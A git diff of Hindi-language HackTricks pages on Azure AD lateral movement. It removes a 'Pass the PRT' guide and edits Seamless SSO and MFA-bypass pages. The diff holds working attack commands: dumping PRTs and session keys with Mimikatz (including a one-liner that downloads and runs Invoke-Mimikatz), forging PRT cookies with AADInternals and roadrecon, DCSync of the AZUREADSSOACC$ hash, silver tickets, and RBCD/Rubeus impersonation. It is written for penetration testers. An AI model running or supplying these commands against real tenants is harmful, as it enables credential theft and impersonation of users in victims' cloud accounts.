क्लाउड उपयोगकर्ता की नकल करने की अनुमति देता है। - -{{#ref}} -seamless-sso.md -{{#endref}} - -- **Cloud Kerberos Trust**: -- AzureAD उपयोगकर्ता नाम और SIDs में हेरफेर करके और AzureAD से TGTs का अनुरोध करके Global Admin से ऑन-प्रिम डोमेन Admin में बढ़ने की संभावना। - -{{#ref}} -az-cloud-kerberos-trust.md -{{#endref}} - -- **Default Applications**: -- एक एप्लिकेशन प्रशासक खाते या ऑन-प्रिमिस सिंक खाते का समझौता करने से निर्देशिका सेटिंग्स, समूह सदस्यता, उपयोगकर्ता खाते, SharePoint साइटों और OneDrive फ़ाइलों में संशोधन की अनुमति मिलती है। - -{{#ref}} -az-default-applications.md -{{#endref}} - -प्रत्येक एकीकरण विधि के लिए, उपयोगकर्ता समन्वय किया जाता है, और ऑन-प्रिम AD में एक `MSOL_` खाता बनाया जाता है। विशेष रूप से, दोनों **PHS** और **PTA** विधियाँ **Seamless SSO** की सुविधा प्रदान करती हैं, जो ऑन-प्रिम डोमेन से जुड़े Azure AD कंप्यूटरों के लिए स्वचालित साइन-इन सक्षम करती हैं। - -**Azure AD Connect** की स्थापना की पुष्टि करने के लिए, निम्नलिखित PowerShell कमांड का उपयोग किया जा सकता है, जो **AzureADConnectHealthSync** मॉड्यूल का उपयोग करता है (जो Azure AD Connect के साथ डिफ़ॉल्ट रूप से स्थापित होता है): -```bash -Get-ADSyncConnector -``` -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md deleted file mode 100644 index 335a8f568..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ /dev/null @@ -1,250 +0,0 @@ -# Az - Pass the PRT - -{{#include ../../../banners/hacktricks-training.md}} - -## PRT क्या है - -{{#ref}} -az-primary-refresh-token-prt.md -{{#endref}} - -### जांचें कि क्या आपके पास PRT है -``` -Dsregcmd.exe /status -``` -SSO State अनुभाग में, आपको **`AzureAdPrt`** **YES** पर सेट होना चाहिए। - -
- -एक ही आउटपुट में आप यह भी देख सकते हैं कि **डिवाइस Azure से जुड़ा है** (क्षेत्र `AzureAdJoined` में): - -
- -## PRT कुकी - -PRT कुकी वास्तव में **`x-ms-RefreshTokenCredential`** कहलाती है और यह एक JSON वेब टोकन (JWT) है। एक JWT में **3 भाग** होते हैं, **header**, **payload** और **signature**, जो `.` द्वारा विभाजित होते हैं और सभी url-safe base64 में एन्कोडेड होते हैं। एक सामान्य PRT कुकी में निम्नलिखित header और body होती है: -```json -{ -"alg": "HS256", -"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" -} -{ -"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", -"is_primary": "true", -"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" -} -``` -वास्तविक **Primary Refresh Token (PRT)** **`refresh_token`** के भीतर संकुचित होता है, जिसे Azure AD के नियंत्रण में एक कुंजी द्वारा एन्क्रिप्ट किया गया है, जिससे इसकी सामग्री हमारे लिए अपारदर्शी और अव्याख्येय हो जाती है। फ़ील्ड **`is_primary`** इस टोकन के भीतर प्राथमिक रिफ्रेश टोकन के संकुचन को दर्शाता है। यह सुनिश्चित करने के लिए कि कुकी उस विशेष लॉगिन सत्र से बंधी रहे जिसके लिए इसे बनाया गया था, `request_nonce` को `logon.microsoftonline.com` पृष्ठ से भेजा जाता है। - -### TPM का उपयोग करके PRT कुकी प्रवाह - -**LSASS** प्रक्रिया TPM को **KDF संदर्भ** भेजेगी, और TPM **सत्र कुंजी** (जो AzureAD में डिवाइस पंजीकरण के समय एकत्र की गई थी और TPM में संग्रहीत है) और पिछले संदर्भ का उपयोग करके एक **कुंजी** उत्पन्न करेगा, और यह **उत्पन्न कुंजी** **PRT कुकी (JWT)** पर हस्ताक्षर करने के लिए उपयोग की जाती है। - -**KDF संदर्भ** AzureAD से एक नॉनस और PRT को मिलाकर एक **JWT** है जिसमें एक **संदर्भ** (यादृच्छिक बाइट्स) है। - -इसलिए, भले ही PRT को निकाला नहीं जा सकता क्योंकि यह TPM के भीतर स्थित है, LSASS का दुरुपयोग करके **नए संदर्भों से उत्पन्न कुंजियों का अनुरोध करना और उत्पन्न कुंजियों का उपयोग करके कुकीज़ पर हस्ताक्षर करना संभव है**। - -
- -## PRT दुरुपयोग परिदृश्य - -एक **सामान्य उपयोगकर्ता** के रूप में, **SSO डेटा के लिए LSASS से PRT उपयोग का अनुरोध करना संभव है।**\ -यह **स्थानीय ऐप्स** की तरह किया जा सकता है जो **Web Account Manager** (टोकन ब्रोकर) से टोकन का अनुरोध करते हैं। WAM अनुरोध को **LSASS** को भेजता है, जो हस्ताक्षरित PRT असर्शन का उपयोग करके टोकन के लिए पूछता है। या इसे **ब्राउज़र आधारित (वेब) प्रवाह** के साथ किया जा सकता है जहां **PRT कुकी** को Azure AS लॉगिन पृष्ठों के लिए अनुरोधों को प्रमाणित करने के लिए **हेडर** के रूप में उपयोग किया जाता है। - -**SYSTEM** के रूप में, आप **PRT को चुरा सकते हैं यदि यह TPM द्वारा सुरक्षित नहीं है** या **क्रिप्टो एपीआई का उपयोग करके LSASS में PRT कुंजियों के साथ इंटरैक्ट कर सकते हैं।** - -## Pass-the-PRT हमले के उदाहरण - -### हमला - ROADtoken - -इस तरीके के बारे में अधिक जानकारी के लिए [**इस पोस्ट की जांच करें**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)। ROADtoken **`BrowserCore.exe`** को सही निर्देशिका से चलाएगा और इसका उपयोग **PRT कुकी प्राप्त करने** के लिए करेगा। इस कुकी का उपयोग ROADtools के साथ प्रमाणित करने और **एक स्थायी रिफ्रेश टोकन प्राप्त करने** के लिए किया जा सकता है। - -एक मान्य PRT कुकी उत्पन्न करने के लिए आपको सबसे पहले एक नॉनस की आवश्यकता है।\ -आप इसे प्राप्त कर सकते हैं: -```bash -$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" -$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" - -$Params = @{ -"URI" = $URL -"Method" = "POST" -} -$Body = @{ -"grant_type" = "srv_challenge" -} -$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body -$Result.Nonce -AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA -``` -या [**roadrecon**](https://github.com/dirkjanm/ROADtools) का उपयोग करके: -```bash -roadrecon auth prt-init -``` -फिर आप [**roadtoken**](https://github.com/dirkjanm/ROADtoken) का उपयोग करके एक नया PRT प्राप्त कर सकते हैं (उपयोगकर्ता के एक प्रक्रिया से हमले के लिए उपकरण में चलाएँ): -```bash -.\ROADtoken.exe -``` -कृपया उस पाठ को प्रदान करें जिसे आपको अनुवादित करने की आवश्यकता है। -```bash -Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} -``` -फिर आप **जनित कुकी** का उपयोग **टोकन उत्पन्न करने** के लिए कर सकते हैं ताकि **Azure AD** **Graph** या Microsoft Graph का उपयोग करके **लॉगिन** किया जा सके: -```bash -# Generate -roadrecon auth --prt-cookie - -# Connect -Connect-AzureAD --AadAccessToken --AccountId -``` -### Attack - Using roadrecon - -### Attack - Using AADInternals and a leaked PRT - -`Get-AADIntUserPRTToken` **उपयोगकर्ता का PRT टोकन** Azure AD जुड़े या हाइब्रिड जुड़े कंप्यूटर से प्राप्त करता है। PRT टोकन प्राप्त करने के लिए `BrowserCore.exe` का उपयोग करता है। -```bash -# Get the PRToken -$prtToken = Get-AADIntUserPRTToken - -# Get an access token for AAD Graph API and save to cache -Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken -``` -या अगर आपके पास Mimikatz से मान हैं, तो आप AADInternals का उपयोग करके एक टोकन भी उत्पन्न कर सकते हैं: -```bash -# Mimikat "PRT" value -$MimikatzPRT="MC5BWU..." - -# Add padding -while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="} - -# Decode -$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT)) - -# Mimikatz "Clear key" value -$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0" - -# Convert to Byte array and B64 encode -$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne '')) - -# Generate PRTToken with Nonce -$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce -$prtToken -## You can already use this token ac cookie in the browser - -# Get access token from prtToken -$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken - -# Verify access and connect with Az. You can see account id in mimikatz prt output -Connect-AzAccount -AccessToken $AT -TenantID -AccountId -``` -[https://login.microsoftonline.com](https://login.microsoftonline.com) पर जाएं, login.microsoftonline.com के लिए सभी कुकीज़ साफ़ करें और एक नई कुकी दर्ज करें। -``` -Name: x-ms-RefreshTokenCredential -Value: [Paste your output from above] -Path: / -HttpOnly: Set to True (checked) -``` -फिर [https://portal.azure.com](https://portal.azure.com) पर जाएं - -> [!CAUTION] -> बाकी डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को ताज़ा कर सकते हैं और कुकी गायब नहीं होती है, यदि ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। यदि ऐसा नहीं होता है, तो आप ठीक होंगे। - -### हमला - Mimikatz - -#### चरण - -1. **PRT (प्राथमिक ताज़ा टोकन) LSASS** (स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा) से निकाला जाता है और आगे के उपयोग के लिए संग्रहीत किया जाता है। -2. **सत्र कुंजी अगली निकाली जाती है**। चूंकि यह कुंजी प्रारंभ में जारी की जाती है और फिर स्थानीय डिवाइस द्वारा फिर से एन्क्रिप्ट की जाती है, इसलिए इसे DPAPI मास्टरकी का उपयोग करके डिक्रिप्ट करना आवश्यक है। DPAPI (डेटा सुरक्षा एपीआई) के बारे में विस्तृत जानकारी इन संसाधनों में पाई जा सकती है: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) और इसके अनुप्रयोग की समझ के लिए, [Pass-the-cookie attack](az-pass-the-cookie.md) देखें। -3. सत्र कुंजी के डिक्रिप्शन के बाद, **PRT के लिए व्युत्पन्न कुंजी और संदर्भ प्राप्त होते हैं**। ये **PRT कुकी के निर्माण** के लिए महत्वपूर्ण हैं। विशेष रूप से, व्युत्पन्न कुंजी का उपयोग उस JWT (JSON वेब टोकन) पर हस्ताक्षर करने के लिए किया जाता है जो कुकी बनाता है। इस प्रक्रिया का एक व्यापक विवरण डिर्क-जान द्वारा प्रदान किया गया है, जिसे [यहां](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) एक्सेस किया जा सकता है। - -> [!CAUTION] -> ध्यान दें कि यदि PRT TPM के अंदर है और `lsass` के अंदर नहीं है, तो **mimikatz इसे निकालने में असमर्थ होगा**।\ -> हालाँकि, TPM से **एक संदर्भ से व्युत्पन्न कुंजी प्राप्त करना संभव होगा** और इसका उपयोग **कुकी पर हस्ताक्षर करने के लिए किया जा सकता है (विकल्प 3 देखें)।** - -आप इन विवरणों को निकालने की प्रक्रिया का **गहन विवरण** यहां पा सकते हैं: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) - -> [!WARNING] -> यह अगस्त 2021 के सुधारों के बाद अन्य उपयोगकर्ताओं के PRT टोकन प्राप्त करने के लिए ठीक से काम नहीं करेगा क्योंकि केवल उपयोगकर्ता ही अपना PRT प्राप्त कर सकता है (एक स्थानीय व्यवस्थापक अन्य उपयोगकर्ताओं के PRTs तक पहुंच नहीं सकता), लेकिन वह अपने PRT तक पहुंच सकता है। - -आप **mimikatz** का उपयोग करके PRT निकाल सकते हैं: -```bash -mimikatz.exe -Privilege::debug -Sekurlsa::cloudap - -# Or in powershell -iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") -Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' -``` -(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview) - -
- -**कॉपी** करें उस भाग को जो **Prt** के रूप में लेबल किया गया है और इसे सहेजें।\ -सत्र कुंजी (जो **`ProofOfPossesionKey`** फ़ील्ड का **`KeyValue`** है) को भी निकालें जिसे आप नीचे हाइलाइटेड देख सकते हैं। यह एन्क्रिप्टेड है और हमें इसे डिक्रिप्ट करने के लिए अपने DPAPI मास्टरकीज़ का उपयोग करने की आवश्यकता होगी। - -
- -> [!NOTE] -> यदि आप कोई PRT डेटा नहीं देखते हैं, तो इसका मतलब यह हो सकता है कि आपके पास **कोई PRT नहीं है** क्योंकि आपका डिवाइस Azure AD से जुड़ा नहीं है या यह हो सकता है कि आप **Windows 10 का पुराना संस्करण** चला रहे हैं। - -सत्र कुंजी को **डिक्रिप्ट** करने के लिए आपको अपनी विशेषताओं को **SYSTEM** में **उच्च करना** होगा ताकि आप कंप्यूटर संदर्भ के तहत चल सकें और **DPAPI मास्टरकी को डिक्रिप्ट करने के लिए उपयोग कर सकें**। आप ऐसा करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं: -``` -token::elevate -dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect -``` -
- -#### विकल्प 1 - पूर्ण Mimikatz - -- अब आप दोनों Context मान को कॉपी करना चाहते हैं: - -
- -- और व्युत्पन्न कुंजी मान: - -
- -- अंत में, आप इस सभी जानकारी का उपयोग **PRT कुकीज़ उत्पन्न करने** के लिए कर सकते हैं: -```bash -Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] -``` -
- -- [https://login.microsoftonline.com](https://login.microsoftonline.com) पर जाएं, login.microsoftonline.com के लिए सभी कुकीज़ साफ़ करें और एक नई कुकी दर्ज करें। -``` -Name: x-ms-RefreshTokenCredential -Value: [Paste your output from above] -Path: / -HttpOnly: Set to True (checked) -``` -- फिर [https://portal.azure.com](https://portal.azure.com) पर जाएं - -> [!CAUTION] -> बाकी सब डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को रिफ्रेश कर सकते हैं और कुकी गायब नहीं होती, यदि ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। यदि ऐसा नहीं होता है, तो आप ठीक होंगे। - -#### विकल्प 2 - roadrecon का उपयोग करके PRT - -- पहले PRT को नवीनीकरण करें, जो इसे `roadtx.prt` में सहेज देगा: -```bash -roadtx prt -a renew --prt --prt-sessionkey -``` -- अब हम `roadtx browserprtauth` के साथ इंटरैक्टिव ब्राउज़र का उपयोग करके **टोकन अनुरोध** कर सकते हैं। यदि हम `roadtx describe` कमांड का उपयोग करते हैं, तो हम देखते हैं कि एक्सेस टोकन में एक MFA दावा शामिल है क्योंकि इस मामले में मैंने जो PRT का उपयोग किया, उसमें भी एक MFA दावा था। -```bash -roadtx browserprtauth -roadtx describe < .roadtools_auth -``` -
- -#### विकल्प 3 - roadrecon का उपयोग करके व्युत्पन्न कुंजी - -mimikatz द्वारा डंप की गई संदर्भ और व्युत्पन्न कुंजी के साथ, roadrecon का उपयोग करके एक नया साइन किया हुआ कुकी उत्पन्न करना संभव है: -```bash -roadrecon auth --prt-cookie --prt-context --derives-key -``` -## संदर्भ - -- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/) -- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) -- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md similarity index 84% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md index 24f82e8f1..cce01a6d6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md @@ -4,7 +4,7 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से **उपयोगकर्ताओं को उनके कॉर्पोरेट उपकरणों पर साइन इन करता है** जो आपके कॉर्पोरेट नेटवर्क से जुड़े होते हैं। जब सक्षम किया जाता है, **उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है**, और आमतौर पर, अपने उपयोगकर्ता नाम भी टाइप करने की आवश्यकता नहीं होती है। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के। +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से **उपयोगकर्ताओं को उनके कॉर्पोरेट उपकरणों पर साइन इन करता है** जो आपके कॉर्पोरेट नेटवर्क से जुड़े होते हैं। जब सक्षम किया जाता है, **उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है**, और आमतौर पर, अपने उपयोगकर्ता नाम भी टाइप नहीं करने होते। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के।

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

@@ -14,7 +14,7 @@ डेस्कटॉप SSO **प्रमाणीकरण के लिए Kerberos** का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक **कंप्यूटर खाता `AZUREADSSOACC$`** ऑन-प्रिम AD में बनाता है। `AZUREADSSOACC$` खाते का पासवर्ड **कॉन्फ़िगरेशन के दौरान Entra ID को स्पष्ट पाठ के रूप में भेजा जाता है**। -**Kerberos टिकट** **पासवर्ड के NTHash (MD4)** का उपयोग करके **एन्क्रिप्ट** किए जाते हैं और Entra ID भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है। +**Kerberos टिकट** **पासवर्ड के **NTHash (MD4)** का उपयोग करके **एन्क्रिप्ट** किए जाते हैं और Entra ID भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है। **Entra ID** एक **एंडपॉइंट** (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos **टिकटों** को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है। @@ -41,11 +41,11 @@ $searcher.FindOne() > इसका कारण यह है कि यह एक टिकट है जो उपयोगकर्ता को क्लाउड में लॉगिन करने की अनुमति देता है। TGS टिकट प्राप्त करने के लिए, हमलावर को निम्नलिखित में से एक होना चाहिए: -- **एक समझौता किए गए उपयोगकर्ता का TGS:** यदि आप `HTTP/autologon.microsoftazuread-sso.com` के लिए टिकट के साथ एक उपयोगकर्ता के सत्र को समझौता करते हैं, तो आप इसका उपयोग क्लाउड संसाधनों तक पहुँचने के लिए कर सकते हैं। -- **एक समझौता किए गए उपयोगकर्ता का TGT:** भले ही आपके पास एक न हो लेकिन उपयोगकर्ता समझौता किया गया था, आप कई उपकरणों में लागू किए गए नकली TGT प्रतिनिधित्व चाल का उपयोग करके एक प्राप्त कर सकते हैं जैसे कि [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) और [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)। -- **एक समझौता किए गए उपयोगकर्ता का हैश या पासवर्ड:** SeamlessPass इस जानकारी के साथ डोमेन नियंत्रक के साथ संवाद करेगा ताकि TGT उत्पन्न किया जा सके और फिर TGS। -- **एक गोल्डन टिकट:** यदि आपके पास KRBTGT कुंजी है, तो आप हमले किए गए उपयोगकर्ता के लिए आवश्यक TGT बना सकते हैं। -- **AZUREADSSOACC$ खाता हैश या पासवर्ड:** इस जानकारी और उपयोगकर्ता के सुरक्षा पहचानकर्ता (SID) के साथ हमले के लिए, एक सेवा टिकट बनाना और क्लाउड के साथ प्रमाणीकरण करना संभव है (जैसा कि पिछले तरीके में किया गया था)। +- **एक समझौता किए गए उपयोगकर्ता का TGS:** यदि आप `HTTP/autologon.microsoftazuread-sso.com` के लिए टिकट के साथ उपयोगकर्ता के सत्र को मेमोरी में समझौता करते हैं, तो आप इसका उपयोग क्लाउड संसाधनों तक पहुँचने के लिए कर सकते हैं। +- **एक समझौता किए गए उपयोगकर्ता का TGT:** भले ही आपके पास एक न हो लेकिन उपयोगकर्ता समझौता किया गया था, आप कई उपकरणों में लागू किए गए नकली TGT प्रतिनिधित्व चाल का उपयोग करके एक प्राप्त कर सकते हैं जैसे [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) और [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)। +- **एक समझौता किए गए उपयोगकर्ता का हैश या पासवर्ड:** SeamlessPass इस जानकारी के साथ डोमेन नियंत्रक के साथ संवाद करेगा ताकि TGT और फिर TGS उत्पन्न किया जा सके। +- **एक गोल्डन टिकट:** यदि आपके पास KRBTGT कुंजी है, तो आप उस उपयोगकर्ता के लिए आवश्यक TGT बना सकते हैं जिसे आप हमला कर रहे हैं। +- **AZUREADSSOACC$ खाता हैश या पासवर्ड:** इस जानकारी और उपयोगकर्ता के सुरक्षा पहचानकर्ता (SID) के साथ हमला करना संभव है कि एक सेवा टिकट बनाया जाए और क्लाउड के साथ प्रमाणित किया जाए (जैसा कि पिछले तरीके में किया गया था)। ### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) @@ -65,12 +65,11 @@ seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -u seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 wmic useraccount get name,sid # Get the user SIDs ``` -Firefox को seamless SSO के साथ काम करने के लिए और जानकारी [**इस ब्लॉग पोस्ट में**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) मिल सकती है। - +Firefox को seamless SSO के साथ काम करने के लिए और जानकारी [**इस ब्लॉग पोस्ट में**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) मिल सकती है। ### AZUREADSSOACC$ खाते के हैश प्राप्त करना -उपयोगकर्ता **`AZUREADSSOACC$` का **पासवर्ड** कभी नहीं बदलता**। इसलिए, एक डोमेन एडमिन **इस खाते के हैश को समझौता** कर सकता है, और फिर इसका उपयोग **सिल्वर टिकट बनाने** के लिए कर सकता है ताकि **किसी भी ऑन-प्रेम उपयोगकर्ता को सिंक** करके Azure से कनेक्ट किया जा सके: +उपयोगकर्ता **`AZUREADSSOACC$` का **पासवर्ड** कभी नहीं बदलता**। इसलिए, एक डोमेन एडमिन इस **खाते के हैश को समझौता** कर सकता है, और फिर इसका उपयोग **सिल्वर टिकट बनाने** के लिए कर सकता है ताकि **किसी भी ऑन-प्रेम उपयोगकर्ता के साथ** Azure से कनेक्ट किया जा सके: ```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' @@ -90,11 +89,11 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' ``` > [!NOTE] > वर्तमान जानकारी के साथ, आप डोमेन में किसी भी उपयोगकर्ता के लिए azure और entraid टोकन प्राप्त करने के लिए पहले बताए गए उपकरण **SeamlessPass** का उपयोग कर सकते हैं। -> आप पीड़ित के पासवर्ड का हैश प्राप्त करने के लिए पिछले तकनीकों (और अन्य) का भी उपयोग कर सकते हैं, जिसे आप `AZUREADSSOACC$` खाते के बजाय अनुकरण करना चाहते हैं। +> आप `AZUREADSSOACC$` खाते के बजाय जिस पीड़ित का आप अनुकरण करना चाहते हैं, उसके पासवर्ड का हैश प्राप्त करने के लिए पिछले तकनीकों (और अन्य) का भी उपयोग कर सकते हैं। -#### Silver Tickets बनाना +#### Creating Silver Tickets -हैश के साथ, आप अब **silver tickets** **जनरेट** कर सकते हैं: +हैश के साथ, आप अब **generate silver tickets** कर सकते हैं: ```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -142,7 +141,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ -computer ATTACKBOX$ -password S3cureP@ss ``` -2. चरण 2 – `AZUREADSSOACC$` पर RBCD प्रदान करें - आपके मशीन का SID `msDS-AllowedToActOnBehalfOfOtherIdentity` में लिखता है। +2. चरण 2 – `AZUREADSSOACC$` पर RBCD प्रदान करें - आपकी मशीन का SID `msDS-AllowedToActOnBehalfOfOtherIdentity` में लिखता है। ```bash python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ ATTACKBOX$ AZUREADSSOACC$ @@ -167,14 +166,14 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` /impersonateuser:alice ` /msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt ``` -आप अब **TGS का उपयोग Azure संसाधनों तक पहुंचने के लिए कर सकते हैं जैसे कि आप impersonated उपयोगकर्ता हैं।** +आप अब **TGS का उपयोग करके Azure संसाधनों तक पहुंच सकते हैं जैसे कि आप impersonated उपयोगकर्ता हैं।** ### ~~क्लाउड-केवल उपयोगकर्ताओं के लिए Kerberos टिकट बनाना~~ यदि Active Directory प्रशासकों के पास Azure AD Connect तक पहुंच है, तो वे **किसी भी क्लाउड-उपयोगकर्ता के लिए SID सेट कर सकते हैं**। इस तरह Kerberos **टिकट** **क्लाउड-केवल उपयोगकर्ताओं के लिए भी बनाए जा सकते हैं**। एकमात्र आवश्यकता यह है कि SID एक उचित [SID]() हो। > [!CAUTION] -> क्लाउड-केवल प्रशासक उपयोगकर्ताओं का SID बदलना अब **Microsoft द्वारा अवरुद्ध** है।\ +> क्लाउड-केवल प्रशासक उपयोगकर्ताओं का SID अब **Microsoft द्वारा अवरुद्ध** है।\ > जानकारी के लिए देखें [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) ## संदर्भ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 2017486bc..13250a64b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -5,11 +5,11 @@ ## Basic Information Azure Conditional Access नीतियाँ Microsoft Azure में स्थापित नियम हैं जो कुछ **शर्तों** के आधार पर Azure सेवाओं और अनुप्रयोगों तक पहुँच नियंत्रण लागू करने के लिए हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके अपने संसाधनों को सुरक्षित रखने में मदद करती हैं।\ -Conditional access नीतियाँ मूल रूप से **यह निर्धारित करती हैं** **कौन** **क्या** **कहाँ** और **कैसे** पहुँच सकता है। +Conditional access नीतियाँ मूल रूप से **निर्धारित** करती हैं **कौन** **क्या** तक पहुँच सकता है **कहाँ** से और **कैसे**। यहाँ कुछ उदाहरण दिए गए हैं: -1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाए, जिसमें बहु-कारक 